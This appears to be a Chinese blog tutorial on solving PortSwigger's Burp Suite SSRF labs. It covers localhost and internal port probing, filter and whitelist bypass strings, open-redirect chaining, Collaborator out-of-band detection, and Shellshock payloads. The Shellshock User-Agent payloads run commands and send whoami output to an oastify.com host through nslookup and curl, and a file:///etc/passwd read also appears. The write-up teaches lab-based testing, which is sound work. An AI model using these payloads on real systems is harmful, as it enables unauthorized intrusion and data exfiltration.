Burp靶场实战:SSRF漏洞的七种攻击场景与绕过技巧
1. SSRF漏洞基础与Burp靶场环境搭建SSRFServer-Side Request Forgery漏洞的本质是服务器对用户提供的URL未做充分校验导致攻击者能够操控服务器发起非预期请求。想象一下你让朋友去超市买牛奶结果他拿着你的信用卡刷遍了整条街——SSRF就是这种越权代购的安全问题。在Burp Suite官方提供的SSRF靶场中我们主要使用三个核心工具Repeater用于手动修改和重放请求适合精确控制攻击参数Intruder自动化批量测试工具适合端口扫描和模糊测试Collaborator带外检测神器能捕获盲SSRF产生的网络交互搭建实验环境只需三步访问PortSwigger官网下载最新版Burp Suite Professional在Dashboard点击New temporary project创建临时项目通过Target→Scope添加靶场域名(如*.web-security-academy.net)我常遇到新手两个配置问题忘记安装CA证书导致HTTPS流量无法解密需访问http://burp/下载安装Collaborator域名被防火墙拦截可在Project options→Connections设置代理2. 基础SSRF攻击实战2.1 本地服务器攻击这个实验演示了最经典的SSRF场景绕过前端限制访问本地管理接口。关键点在于理解服务器如何处理相对URL和绝对URL。当发现stockApi参数接受完整URL时立即想到替换为http://localhost/admin。实际操作中有个细节容易被忽略管理页面返回的是302重定向需要勾选Repeater的Follow redirections选项。我曾在这个坑里浪费半小时直到发现删除请求返回的是302而不是200。绕过技巧进阶尝试127.0.0.1替代localhost使用十进制IP如2130706433127.0.0.1的十进制表示测试IPv6地址[::1]2.2 内网系统探测当目标存在二级系统时SSRF就变成了内网探测工具。这个实验教会我们如何用Intruder进行自动化端口扫描。重点在于设置Attack type为SniperPayload类型选Numbers范围1-255添加Grep匹配规则来识别管理页面特征实测发现内网服务常用端口8080备用HTTP服务8443备用HTTPS服务9000开发调试端口3. 进阶绕过技术3.1 黑名单过滤绕过当遇到localhost/127.0.0.1被过滤时这些技巧很实用域名指向localtest.me → 127.0.0.1IP变形127.1省略末尾.0.1特殊域名0x7f000001.nip.io → 127.0.0.1URL编码%6c%6f%63%61%6c%68%6f%73%74localhost的URL编码有个有趣的案例某次测试发现系统过滤了admin路径但用%2561dmina双编码成功绕过这是因为WAF通常只做单层解码。3.2 开放重定向利用当直接SSRF被拦截时可以寻找网站上的开放重定向点。常见漏洞位置登录/注销功能语言切换接口文件下载参数在实验中/product/nextProduct?path参数就是个典型例子。构造攻击URL时要注意先用简单路径测试重定向是否生效确保最终跳转地址包含协议头http://对特殊字符进行URL编码4. 盲SSRF与带外检测4.1 Collaborator基础用法盲SSRF就像闭着眼睛打靶Collaborator就是我们的声音反馈系统。使用技巧在Repeater右键插入Collaborator Payload设置Polling时间间隔为2秒检查DNS和HTTP两种交互记录有个实用技巧在Collaborator客户端点击Copy to clipboard后直接粘贴到Intruder的Payload里避免手动输入错误。4.2 Shellshock组合攻击这个实验展示了如何将SSRF与其它漏洞结合利用。关键步骤安装Collaborator Everywhere扩展构造特殊User-Agent头() { :; }; /usr/bin/nslookup $(whoami).xxxxxxxx.oastify.com使用Intruder爆破内网IP段遇到过的问题某些系统限制DNS查询可以改用curl发起HTTP请求() { :; }; curl http://xxxxxx.oastify.com/$(whoami)5. 白名单绕过艺术5.1 URL解析差异利用不同库解析URL存在差异这正是绕过机会。实验中的技巧利用符号分隔认证信息userhost使用#号片段标识符http://host#evil.com双重编码特殊字符# → %23 → %2523实际案例某次测试发现系统验证域名白名单时后端使用Java的URI类解析识别localhost%2523domain.com为domain.com而请求时使用URL类解析实际连接localhost5.2 非标准端口利用当遇到域名白名单时可以尝试子域名接管ssrf.example.com指向127.0.0.1端口混淆localhost:80evil.com:8080特殊协议file:///etc/passwd有个绕过Cloudflare的案例利用URL解析器对非标准端口的处理差异构造http://localhost:80%20evil.com这样的畸形地址。6. 防御方案与测试要点虽然本文聚焦攻击但作为负责任的测试人员必须了解防御措施网络层限制服务器出站流量应用层使用固定白名单域名库代码层禁用URL跟随重定向在测试报告中应当注明漏洞触发条件和影响范围修复优先级建议CVSS评分具体的修复代码示例如ALLOWED_DOMAINS [api.example.com] parsed urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise SecurityException(Invalid URL)7. 实战经验与排查技巧排查SSRF漏洞时我习惯先用这三个步骤找所有接受URL的参数不仅限于http://开头的测试不同协议file://, ftp://, gopher://修改请求方法GET参数可能在POST中同样有效遇到过最隐蔽的SSRF案例某JSON接口接受{server:api.internal}这样的参数后端自动补全http://前缀。这提醒我们测试时要尝试各种参数格式。Burp的Match and Replace功能在测试中很实用自动添加X-Forwarded-For头替换所有http为https追加特定查询参数最后提醒测试内网SSRF一定要获得书面授权避免触碰法律红线。真实环境中我会先用Collaborator确认漏洞存在再与客户确认测试范围。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2547241.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!